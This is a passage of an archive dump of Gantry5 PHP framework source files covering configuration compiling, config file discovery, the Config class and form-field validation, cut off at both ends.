        foreach ($fields as $name => $field) {
            if (!is_string($field)) {
                continue;
            }
            $field = $this->items[$field];
            if (isset($field['validate']['required'])
                &&
$field['validate']['required'] === true
                && !isset($data[$name])) {
                $value = isset($field['label']) ?
$field['label'] : $field['name'];
                // TODO: translate
                $message  = sprintf("Please fill up required field
'%s'.", $value);
                $messages[$field['name']][] = $message;
            }
        }

        return $messages;
    }

    /**
     * @param array $field
     * @param string $property
     * @param array $call
     */
    protected function dynamicConfig(array &$field, $property, array
&$call)
    {
        $value = $call['params'];

        $default = isset($field[$property]) ? $field[$property] : null;
        $config = Gantry::instance()['config']->get($value,
$default);

        if (!is_null($config)) {
            $field[$property] = $config;
        }
    }
}
Gantry/Component/Config/CompiledBase.php000064400000014215151157471010014224
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\File\PhpFile;

/**
 * The Compiled base class.
 */
abstract class CompiledBase
{
    /**
     * @var int Version number for the compiled file.
     */
    public $version = 1;

    /**
     * @var string  Filename (base name) of the compiled configuration.
     */
    public $name;

    /**
     * @var string|bool  Configuration checksum.
     */
    public $checksum;

    /**
     * @var string Cache folder to be used.
     */
    protected $cacheFolder;

    /**
     * @var array  List of files to load.
     */
    protected $files;

    /**
     * @var string
     */
    protected $path;

    /**
     * @var mixed  Configuration object.
     */
    protected $object;

    /**
     * @param  string $cacheFolder  Cache folder to be used.
     * @param  array  $files  List of files as returned from
ConfigFileFinder class.
     * @param string $path  Base path for the file list.
     * @throws \BadMethodCallException
     */
    public function __construct($cacheFolder, array $files, $path =
GANTRY5_ROOT)
    {
        if (!$cacheFolder) {
            throw new \BadMethodCallException('Cache folder not
defined.');
        }

        $this->cacheFolder = $cacheFolder;
        $this->files = $files;
        $this->path = $path ? rtrim($path, '\\/') .
'/' : '';
    }

    /**
     * Get filename for the compiled PHP file.
     *
     * @param string $name
     * @return $this
     */
    public function name($name = null)
    {
        if (!$this->name) {
            $this->name = $name ?:
md5(json_encode(array_keys($this->files)));
        }

        return $this;
    }

    /**
     * Function gets called when cached configuration is saved.
     */
    public function modified() {}

    /**
     * Load the configuration.
     *
     * @return mixed
     */
    public function load()
    {
        if ($this->object) {
            return $this->object;
        }

        $filename = $this->createFilename();
        if (!$this->loadCompiledFile($filename) &&
$this->loadFiles()) {
            $this->saveCompiledFile($filename);
        }

        return $this->object;
    }

    /**
     * Returns checksum from the configuration files.
     *
     * You can set $this->checksum = false to disable this check.
     *
     * @return bool|string
     */
    public function checksum()
    {
        if (!isset($this->checksum)) {
            $this->checksum = md5(json_encode($this->files) .
$this->version);
        }

        return $this->checksum;
    }

    protected function createFilename()
    {
        return
"{$this->cacheFolder}/{$this->name()->name}.php";
    }

    /**
     * Create configuration object.
     *
     * @param  array  $data
     */
    abstract protected function createObject(array $data = []);

    /**
     * Finalize configuration object.
     */
    abstract protected function finalizeObject();

    /**
     * Load single configuration file and append it to the correct
position.
     *
     * @param  string  $name  Name of the position.
     * @param  string  $filename  File to be loaded.
     */
    abstract protected function loadFile($name, $filename);

    /**
     * Load and join all configuration files.
     *
     * @return bool
     * @internal
     */
    protected function loadFiles()
    {
        $this->createObject();

        $list = array_reverse($this->files);
        foreach ($list as $files) {
            foreach ($files as $name => $item) {
                $this->loadFile($name, $this->path .
$item['file']);
            }
        }

        $this->finalizeObject();

        return true;
    }

    /**
     * Load compiled file.
     *
     * @param  string  $filename
     * @return bool
     * @internal
     */
    protected function loadCompiledFile($filename)
    {
        $gantry = Gantry::instance();

        /** @var Config $global */
        $global = $gantry['global'];

        if (!$global->get('compile_yaml', 1)) {
            return false;
        }

        if (!file_exists($filename)) {
            return false;
        }

        $cache = include $filename;
        if (
            !is_array($cache)
            || !isset($cache['checksum'])
            || !isset($cache['data'])
            || !isset($cache['@class'])
            || $cache['@class'] != get_class($this)
        ) {
            return false;
        }

        // Load real file if cache isn't up to date (or is invalid).
        if ($cache['checksum'] !== $this->checksum()) {
            return false;
        }

        $this->createObject($cache['data']);

        $this->finalizeObject();

        return true;
    }

    /**
     * Save compiled file.
     *
     * @param  string  $filename
     * @throws \RuntimeException
     * @internal
     */
    protected function saveCompiledFile($filename)
    {
        $gantry = Gantry::instance();

        /** @var Config $global */
        $global = $gantry['global'];

        if (!$global->get('compile_yaml', 1)) {
            return;
        }

        $file = PhpFile::instance($filename);

        // Attempt to lock the file for writing.
        try {
            $file->lock(false);
        } catch (\Exception $e) {
            // Another process has locked the file; we will check this in a
bit.
        }

        if ($file->locked() === false) {
            // File was already locked by another process.
            return;
        }

        $cache = [
            '@class' => get_class($this),
            'timestamp' => time(),
            'checksum' => $this->checksum(),
            'files' => $this->files,
            'data' => $this->getState()
        ];

        $file->save($cache);
        $file->unlock();
        $file->free();

        $this->modified();
    }

    protected function getState()
    {
        return $this->object->toArray();
    }
}
Gantry/Component/Config/CompiledBlueprints.php000064400000004104151157471010015475
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

/**
 * The Compiled Blueprints class.
 */
class CompiledBlueprints extends CompiledBase
{
    /**
     * @var int Version number for the compiled file.
     */
    public $version = 3;

    /**
     * @var BlueprintSchema  Blueprints object.
     */
    protected $object;

    /**
     * Create configuration object.
     *
     * @param array  $data
     */
    protected function createObject(array $data = [])
    {
        $this->object = new BlueprintSchema($data);
    }

    /**
     * Finalize configuration object.
     */
    protected function finalizeObject()
    {
    }

    /**
     * Load single configuration file and append it to the correct
position.
     *
     * @param  string  $name  Name of the position.
     * @param  array   $files  Files to be loaded.
     */
    protected function loadFile($name, $files)
    {
        // Load blueprint file.
        $blueprint = new BlueprintForm($files);

        $this->object->embed($name,
$blueprint->load()->toArray(), '/', true);
    }

    /**
     * Load and join all configuration files.
     *
     * @return bool
     * @internal
     */
    protected function loadFiles()
    {
        $this->createObject();

        // Convert file list into parent list.
        $list = [];
        foreach ($this->files as $files) {
            foreach ($files as $name => $item) {
                $list[$name][] = $this->path . $item['file'];
            }
        }

        // Load files.
        foreach ($list as $name => $files) {
            $this->loadFile($name, $files);
        }

        $this->finalizeObject();

        return true;
    }

    protected function getState()
    {
        return $this->object->getState();
    }
}
Gantry/Component/Config/CompiledConfig.php000064400000005024151157471010014555
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use Gantry\Component\File\CompiledYamlFile;

/**
 * The Compiled Configuration class.
 */
class CompiledConfig extends CompiledBase
{
    /**
     * @var int Version number for the compiled file.
     */
    public $version = 2;

    /**
     * @var Config  Configuration object.
     */
    protected $object;

    /**
     * @var callable  Blueprints loader.
     */
    protected $callable;

    /**
     * @var bool
     */
    protected $withDefaults;

    /**
     * Get filename for the compiled PHP file.
     *
     * @param string $name
     * @return $this
     */
    public function name($name = null)
    {
        if (!$this->name) {
            $this->name = $name ?:
md5(json_encode(array_keys($this->files)) . (int)
$this->withDefaults);
        }

        return $this;
    }

    /**
     * Set blueprints for the configuration.
     *
     * @param callable $blueprints
     * @return $this
     */
    public function setBlueprints(callable $blueprints)
    {
        $this->callable = $blueprints;

        return $this;
    }

    /**
     * @param bool $withDefaults
     * @return mixed
     */
    public function load($withDefaults = false)
    {
        $this->withDefaults = $withDefaults;

        return parent::load();
    }

    /**
     * Create configuration object.
     *
     * @param  array  $data
     */
    protected function createObject(array $data = [])
    {
        if ($this->withDefaults && empty($data) &&
is_callable($this->callable)) {
            $blueprints = $this->callable;
            $data = $blueprints()->getDefaults();
        }

        $this->object = new Config($data, $this->callable);
    }

    /**
     * Finalize configuration object.
     */
    protected function finalizeObject()
    {
    }

    /**
     * Load single configuration file and append it to the correct
position.
     *
     * @param  string  $name  Name of the position.
     * @param  string  $filename  File to be loaded.
     */
    protected function loadFile($name, $filename)
    {
        $file = CompiledYamlFile::instance($filename);
        $this->object->join($name, $file->content(),
'/');
        $file->free();
    }
}
Gantry/Component/Config/Config.php000064400000016544151157471010013111
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
use RocketTheme\Toolbox\ArrayTraits\Iterator;
use RocketTheme\Toolbox\ArrayTraits\NestedArrayAccessWithGetters;

/**
 * The Config class contains configuration information.
 *
 * @author RocketTheme
 */
class Config implements \ArrayAccess, \Countable, \Iterator,
ExportInterface
{
    use NestedArrayAccessWithGetters, Iterator, Export;

    /**
     * @var array
     */
    protected $items;

    /**
     * @var BlueprintSchema|BlueprintForm|callable
     */
    protected $blueprint;

    /**
     * Constructor to initialize array.
     *
     * @param  array  $items  Initial items inside the iterator.
     * @param  callable $blueprints  Function to load Blueprints for the
configuration.
     */
    public function __construct(array $items, callable $blueprint = null)
    {
        $this->items = $items;
        $this->blueprint = $blueprint;
    }

    /**
     * Join nested values together by using blueprints.
     *
     * @param string  $name       Dot separated path to the requested
value.
     * @param mixed   $value      Value to be joined.
     * @param string  $separator  Separator, defaults to '.'
     * @return $this
     * @throws \RuntimeException
     */
    public function join($name, $value, $separator = '.')
    {
        $old = $this->get($name, null, $separator);
        if ($old !== null) {
            if (!is_array($old)) {
                throw new \RuntimeException("Value is not array in
{$name}: " . print_r($old, true));
            }
            if (is_object($value)) {
                $value = (array) $value;
            } elseif (!is_array($value)) {
                throw new \RuntimeException("Value is not array in
{$name}: " . print_r($value, true));
            }
            $value = $this->blueprint()->mergeData($old, $value,
$name, $separator);
        }

        $this->set($name, $value, $separator);

        return $this;
    }

    /**
     * Get nested structure containing default values defined in the
blueprints.
     *
     * Fields without default value are ignored in the list.

     * @return array
     */
    public function getDefaults()
    {
        return $this->blueprint()->getDefaults();
    }

    /**
     * Set default values by using blueprints.
     *
     * @param string  $name       Dot separated path to the requested
value.
     * @param mixed   $value      Value to be joined.
     * @param string  $separator  Separator, defaults to '.'
     * @return $this
     */
    public function joinDefaults($name, $value, $separator = '.')
    {
        if (is_object($value)) {
            $value = (array) $value;
        }
        $old = $this->get($name, null, $separator);
        if ($old !== null) {
            $value = $this->blueprint()->mergeData($value, $old,
$name, $separator);
        }

        $this->set($name, $value, $separator);

        return $this;
    }

    /**
     * Get value from the configuration and join it with given data.
     *
     * @param string  $name       Dot separated path to the requested
value.
     * @param array   $value      Value to be joined.
     * @param string  $separator  Separator, defaults to '.'
     * @return array
     * @throws \RuntimeException
     */
    public function getJoined($name, $value, $separator = '.')
    {
        if (is_object($value)) {
            $value = (array) $value;
        } elseif (!is_array($value)) {
            throw new \RuntimeException("Value is not array in
'{$name}': " . print_r($value, true));
        }

        $old = $this->get($name, null, $separator);

        if ($old === null) {
            // No value set; no need to join data.
            return $value;
        }

        if (!is_array($old)) {
            throw new \RuntimeException("Value is not array in
'{$name}': " . print_r($value, true));
        }

        // Return joined data.
        return $this->blueprint()->mergeData($old, $value, $name,
$separator);
    }

    /**
     * Merge two configurations together.
     *
     * @param array $data
     * @return $this
     */
    public function merge(array $data)
    {
        $this->items =
$this->blueprint()->mergeData($this->items, $data);

        return $this;
    }

    /**
     * Set default values to the configuration if variables were not set.
     *
     * @param array $data
     * @return $this
     */
    public function setDefaults(array $data)
    {
        $this->items = $this->blueprint()->mergeData($data,
$this->items);

        return $this;
    }

    /**
     * Make a flat list from the configuration.
     *
     * @param string $name      Dot separated path to the requested value.
     * @param string $separator Separator, defaults to '.'
     * @param string $prefix    Name prefix.
     * @return array
     */
    public function flatten($name = null, $separator = '.',
$prefix = '')
    {
        $element = $name ? $this->offsetGet($name) : $this->items;

        if (!is_array($element)) {
            return [$name, $element];
        }

        if (strlen($separator) == 2 && in_array($separator,
['][', ')(', '}{'])) {
            $separator = [$separator[1], $separator[0]];
        }

        return $this->flattenNested('', $element, $separator,
$prefix);
    }

    /**
     * @param string $name
     * @param array  $element
     * @param string $separator
     * @param string $prefix
     * @return array
     * @internal
     */
    protected function flattenNested($name, &$element, $separator,
$prefix)
    {
        $list = [];
        foreach ($element as $key => $value) {
            $new = $name ? $name : $prefix;
            if (is_array($separator)) {
                $new .= $separator[0] . $key . $separator[1];
            } else {
                $new .= ($new ? $separator : '') . $key;
            }
            if (!is_array($value) || empty($value)) {
                $list[$new] = $value;
            } else {
                $list += $this->flattenNested($new, $value, $separator,
$prefix);
            }
        }

        return $list;
    }

    /**
     * Return blueprint.
     *
     * @return BlueprintSchema|BlueprintForm
     * @since 5.4.7
     */
    public function blueprint()
    {
        if (!$this->blueprint){
            $this->blueprint = new BlueprintSchema;
        } elseif (is_callable($this->blueprint)) {
            // Lazy load blueprints.
            $blueprint = $this->blueprint;
            $this->blueprint = $blueprint();
        }
        return $this->blueprint;
    }

    /**
     * Return blueprints.
     *
     * @return BlueprintSchema
     * @deprecated 5.4.7
     */
    public function blueprints()
    {
        return $this->blueprint();
    }

    /**
     * Count items in nested array.
     *
     * @param string $path
     * @param string $separator
     * @return int
     */
    public function count($path = null, $separator = '.')
    {
        $items = $path ? $this->get($path, null, $separator) :
$this->items;

        return is_array($items) ? count($items) : 0;
    }
}
Gantry/Component/Config/ConfigFileFinder.php000064400000020534151157471010015033
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use Gantry\Component\Filesystem\Folder;

/**
 * The Configuration & Blueprints Finder class.
 */
class ConfigFileFinder
{
    protected $base = '';

    /**
     * @param string $base
     * @return $this
     */
    public function setBase($base)
    {
        $this->base = $base ? "{$base}/" : '';

        return $this;
    }

    /**
     * Return all locations for all the files with a timestamp.
     *
     * @param  array  $paths    List of folders to look from.
     * @param  string $pattern  Pattern to match the file. Pattern will
also be removed from the key.
     * @param  int    $levels   Maximum number of recursive directories.
     * @return array
     */
    public function locateFiles(array $paths, $pattern =
'|\.yaml$|', $levels = -1)
    {
        $list = [];
        foreach ($paths as $folder) {
            $list += $this->detectRecursive($folder, $pattern, $levels);
        }
        return $list;
    }

    /**
     * Return all locations for all the files with a timestamp.
     *
     * @param  array  $paths    List of folders to look from.
     * @param  string $pattern  Pattern to match the file. Pattern will
also be removed from the key.
     * @param  int    $levels   Maximum number of recursive directories.
     * @return array
     */
    public function getFiles(array $paths, $pattern =
'|\.yaml$|', $levels = -1)
    {
        $list = [];
        foreach ($paths as $folder) {
            $path = trim(Folder::getRelativePath($folder), '/');

            $files = $this->detectRecursive($folder, $pattern, $levels);

            $list += $files[trim($path, '/')];
        }
        return $list;
    }

    /**
     * Return all paths for all the files with a timestamp.
     *
     * @param  array  $paths    List of folders to look from.
     * @param  string $pattern  Pattern to match the file. Pattern will
also be removed from the key.
     * @param  int    $levels   Maximum number of recursive directories.
     * @return array
     */
    public function listFiles(array $paths, $pattern =
'|\.yaml$|', $levels = -1)
    {
        $list = [];
        foreach ($paths as $folder) {
            $list = array_merge_recursive($list,
$this->detectAll($folder, $pattern, $levels));
        }
        return $list;
    }

    /**
     * Find filename from a list of folders.
     *
     * Note: Only finds the last override.
     *
     * @param string $filename
     * @param array $folders
     * @return array
     */
    public function locateFileInFolder($filename, array $folders)
    {
        $list = [];
        foreach ($folders as $folder) {
            $list += $this->detectInFolder($folder, $filename);
        }
        return $list;
    }

    /**
     * Find filename from a list of folders.
     *
     * @param array $folders
     * @param string $filename
     * @return array
     */
    public function locateInFolders(array $folders, $filename = null)
    {
        $list = [];
        foreach ($folders as $folder) {
            $path = trim(Folder::getRelativePath($folder), '/');
            $list[$path] = $this->detectInFolder($folder, $filename);
        }
        return $list;
    }

    /**
     * Return all existing locations for a single file with a timestamp.
     *
     * @param  array  $paths   Filesystem paths to look up from.
     * @param  string $name    Configuration file to be located.
     * @param  string $ext     File extension (optional, defaults to
.yaml).
     * @return array
     */
    public function locateFile(array $paths, $name, $ext =
'.yaml')
    {
        $filename = preg_replace('|[.\/]+|', '/',
$name) . $ext;

        $list = [];
        foreach ($paths as $folder) {
            $path = trim(Folder::getRelativePath($folder), '/');

            if (is_file("{$folder}/{$filename}")) {
                $modified = filemtime("{$folder}/{$filename}");
            } else {
                $modified = 0;
            }
            $basename = $this->base . $name;
            $list[$path] = [$basename => ['file' =>
"{$path}/{$filename}", 'modified' => $modified]];
        }

        return $list;
    }

    /**
     * Detects all directories with a configuration file and returns them
with last modification time.
     *
     * @param  string $folder   Location to look up from.
     * @param  string $pattern  Pattern to match the file. Pattern will
also be removed from the key.
     * @param  int    $levels   Maximum number of recursive directories.
     * @return array
     * @internal
     */
    protected function detectRecursive($folder, $pattern, $levels)
    {
        $path = trim(Folder::getRelativePath($folder), '/');

        if (is_dir($folder)) {
            // Find all system and user configuration files.
            $options = [
                'levels'  => $levels,
                'compare' => 'Filename',
                'pattern' => $pattern,
                'filters' => [
                    'pre-key' => $this->base,
                    'key' => $pattern,
                    'value' => function
(\RecursiveDirectoryIterator $file) use ($path) {
                        return ['file' =>
"{$path}/{$file->getSubPathname()}", 'modified'
=> $file->getMTime()];
                    }
                ],
                'key' => 'SubPathname'
            ];

            $list = Folder::all($folder, $options);

            ksort($list);
        } else {
            $list = [];
        }

        return [$path => $list];
    }

    /**
     * Detects all directories with the lookup file and returns them with
last modification time.
     *
     * @param  string $folder Location to look up from.
     * @param  string $lookup Filename to be located (defaults to directory
name).
     * @return array
     * @internal
     */
    protected function detectInFolder($folder, $lookup = null)
    {
        $folder = rtrim($folder, '/');
        $path = trim(Folder::getRelativePath($folder), '/');
        $base = $path === $folder ? '' : ($path ? substr($folder,
0, -strlen($path)) : $folder . '/');

        $list = [];

        if (is_dir($folder)) {
            $iterator = new \DirectoryIterator($folder);

            /** @var \DirectoryIterator $directory */
            foreach ($iterator as $directory) {
                if (!$directory->isDir() || $directory->isDot()) {
                    continue;
                }

                $name = $directory->getBasename();
                $find = ($lookup ?: $name) . '.yaml';
                $filename = "{$path}/{$name}/{$find}";

                if (file_exists($base . $filename)) {
                    $basename = $this->base . $name;
                    $list[$basename] = ['file' => $filename,
'modified' => filemtime($base . $filename)];
                }
            }
        }

        return $list;
    }

    /**
     * Detects all plugins with a configuration file and returns them with
last modification time.
     *
     * @param  string $folder   Location to look up from.
     * @param  string $pattern  Pattern to match the file. Pattern will
also be removed from the key.
     * @param  int    $levels   Maximum number of recursive directories.
     * @return array
     * @internal
     */
    protected function detectAll($folder, $pattern, $levels)
    {
        $path = trim(Folder::getRelativePath($folder), '/');

        if (is_dir($folder)) {
            // Find all system and user configuration files.
            $options = [
                'levels'  => $levels,
                'compare' => 'Filename',
                'pattern' => $pattern,
                'filters' => [
                    'pre-key' => $this->base,
                    'key' => $pattern,
                    'value' => function
(\RecursiveDirectoryIterator $file) use ($path) {
                        return
["{$path}/{$file->getSubPathname()}" =>
$file->getMTime()];
                    }
                ],
                'key' => 'SubPathname'
            ];

            $list = Folder::all($folder, $options);

            ksort($list);
        } else {
            $list = [];
        }

        return $list;
    }
}
Gantry/Component/Config/Validation.php000064400000053013151157471010013766
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Component\Config;

use Symfony\Component\Yaml\Exception\ParseException;
use Symfony\Component\Yaml\Yaml;

/**
 * Data validation.
 *
 * @author RocketTheme
 * @license MIT
 */
class Validation
{
    /**
     * Validate value against a blueprint field definition.
     *
     * @param $value
     * @param array $field
     * @return array
     */
    public static function validate($value, array $field)
    {
        $messages = [];

        $validate = isset($field['validate']) ? (array)
$field['validate'] : [];

        // If value isn't required, we will stop validation if empty
value is given.
        if (empty($validate['required']) && ($value ===
null || $value === '')) {
            return $messages;
        }

        if (!isset($field['type'])) {
            $field['type'] = 'input.text';
        }

        // Special case for files, value is never empty and errors with
code 4 instead.
        if (empty($validate['required']) &&
$field['type'] === 'input.file' &&
isset($value['error'])
                && ($value['error'] ===
UPLOAD_ERR_NO_FILE || \in_array(UPLOAD_ERR_NO_FILE,
$value['error'], true))) {
            return $messages;
        }

        // Validate type with fallback type text.
        $type = (string)
isset($field['validate']['type']) ?
$field['validate']['type'] : $field['type'];
        $method = 'type_'.strtr($type, '-.',
'__');

        if (!method_exists(__CLASS__, $method)) {
            $method = 'type_Input_Text';
        }

        $name = ucfirst(isset($field['label']) ?
$field['label'] : $field['name']);
        // TODO: translate
        $message = (string)
isset($field['validate']['message'])
            ? sprintf($field['validate']['message'])
            : sprintf('Invalid input in field: ') . '
"' . $name . '"';

        $success = self::$method($value, $validate, $field);

        if (!$success) {
            $messages[$field['name']][] = $message;
        }

        // Check individual rules.
        foreach ($validate as $rule => $params) {
            $method = 'validate_' . ucfirst(strtr($rule,
'-.', '__'));

            if (method_exists(__CLASS__, $method)) {
                $success = self::$method($value, $params);

                if (!$success) {
                    $messages[$field['name']][] = $message;
                }
            }
        }

        return $messages;
    }

    /**
     * Filter value against a blueprint field definition.
     *
     * @param  mixed  $value
     * @param  array  $field
     * @return mixed  Filtered value.
     */
    public static function filter($value, array $field)
    {
        $validate = isset($field['validate']) ? (array)
$field['validate'] : [];

        // If value isn't required, we will return null if empty value
is given.
        if (($value === null || $value === '') &&
empty($validate['required'])) {
            return null;
        }

        if (!isset($field['type'])) {
            $field['type'] = 'input.text';
        }

        // Special case for files, value is never empty and errors with
code 4 instead.
        if (empty($validate['required']) &&
$field['type'] === 'input.file' &&
isset($value['error'])
            && ($value['error'] === UPLOAD_ERR_NO_FILE ||
\in_array(UPLOAD_ERR_NO_FILE, $value['error'], true))) {
            return null;
        }

        // Validate type with fallback type text.
        $type = (string)
isset($field['validate']['type']) ?
$field['validate']['type'] : $field['type'];
        $method = 'filter_' . ucfirst(str_replace('-',
'_', $type));

        if (!method_exists(__CLASS__, $method)) {
            $method = 'filter_Input_Text';
        }

        return self::$method($value, $validate, $field);
    }

    /**
     * HTML5 input: text
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Text($value, array $params, array
$field)
    {
        if (!\is_string($value) && !is_numeric($value)) {
            return false;
        }

        $value = (string)$value;

        if (isset($params['min']) && \strlen($value) <
$params['min']) {
            return false;
        }

        if (isset($params['max']) && \strlen($value) >
$params['max']) {
            return false;
        }

        $min = isset($params['min']) ? $params['min'] :
0;
        if (isset($params['step']) && (strlen($value) -
$min) % $params['step'] === 0) {
            return false;
        }

        if ((!isset($params['multiline']) ||
!$params['multiline']) && preg_match('/\R/um',
$value)) {
            return false;
        }

        return true;
    }

    protected static function filter_Input_Text($value, array $params,
array $field)
    {
        return (string) $value;
    }

    protected static function filter_Input_CommaList($value, array $params,
array $field)
    {
        return \is_array($value) ? $value :
preg_split('/\s*,\s*/', $value, -1, PREG_SPLIT_NO_EMPTY);
    }

    protected static function type_Input_CommaList($value, array $params,
array $field)
    {
        return \is_array($value) ? true : self::type_Input_Text($value,
$params, $field);
    }

    /**
     * HTML5 input: textarea
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Textarea_Textarea($value, array $params,
array $field)
    {
        if (!isset($params['multiline'])) {
            $params['multiline'] = true;
        }

        return self::type_Input_Text($value, $params, $field);
    }

    /**
     * HTML5 input: password
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Password($value, array $params, array
$field)
    {
        return self::type_Input_Text($value, $params, $field);
    }

    /**
     * HTML5 input: hidden
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Hidden($value, array $params, array
$field)
    {
        return self::type_Input_Text($value, $params, $field);
    }

    /**
     * Custom input: checkbox list
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Checkboxes_Checkboxes($value, array
$params, array $field)
    {
        // Set multiple: true so checkboxes can easily use min/max counts
to control number of options required
        $field['multiple'] = true;

        return self::typeArray((array) $value, $params, $field);
    }

    protected static function filter_Checkboxes_Checkboxes($value, array
$params, array $field)
    {
        return self::filterArray($value, $params, $field);
    }

    /**
     * HTML5 input: checkbox
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Checkbox($value, array $params, array
$field)
    {
        $value = (string) $value;

        if (!isset($field['value'])) {
            $field['value'] = 1;
        }

        if ($value && $value != $field['value']) {
            return false;
        }

        return true;
    }

    /**
     * HTML5 input: radio
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Radio($value, array $params, array
$field)
    {
        return self::typeArray((array) $value, $params, $field);
    }

    /**
     * Custom input: toggle
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Toggle_Toggle($value, array $params, array
$field)
    {
        return self::typeArray((array) $value, $params, $field);
    }

    /**
     * Custom input: file
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_File($value, array $params, array
$field)
    {
        return self::typeArray((array) $value, $params, $field);
    }

    protected static function filter_Input_File($value, array $params,
array $field)
    {
        if (isset($field['multiple']) &&
$field['multiple'] === true) {
            return (array) $value;
        }

        if (\is_array($value)) {
            return reset($value);
        }

        return $value;
    }

    /**
     * HTML5 input: select
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Select_Select($value, array $params, array
$field)
    {
        return self::typeArray((array) $value, $params, $field);
    }

    /**
     * HTML5 input: number
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Number($value, array $params, array
$field)
    {
        if (!is_numeric($value)) {
            return false;
        }

        if (isset($params['min']) && $value <
$params['min']) {
            return false;
        }

        if (isset($params['max']) && $value >
$params['max']) {
            return false;
        }

        $min = isset($params['min']) ? $params['min'] :
0;

        return !(isset($params['step']) && fmod($value -
$min, $params['step']) === 0);
    }

    protected static function filter_Input_Number($value, array $params,
array $field)
    {
        return (string)(int)$value !== (string)(float)$value ? (float)
$value : (int) $value;
    }

    protected static function filter_Input_DateTime($value, array $params,
array $field)
    {
        $converted = new \DateTime($value);
        return $converted->format('Y-m-d H:i:s');
    }


    /**
     * HTML5 input: range
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Range($value, array $params, array
$field)
    {
        return self::type_Input_Number($value, $params, $field);
    }

    protected static function filter_Input_Range($value, array $params,
array $field)
    {
        return self::filter_Input_Number($value, $params, $field);
    }

    /**
     * HTML5 input: color
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Color($value, array $params, array
$field)
    {
        return preg_match('/^\#[0-9a-fA-F]{3}[0-9a-fA-F]{3}?$/u',
$value);
    }

    /**
     * HTML5 input: email
     *
     * @param  mixed  $value   Value to be validated.
     * @param  array  $params  Validation parameters.
     * @param  array  $field   Blueprint for the field.
     * @return bool   True if validation succeeded.
     */
    public static function type_Input_Email($value, array $params, array
$field)
    {
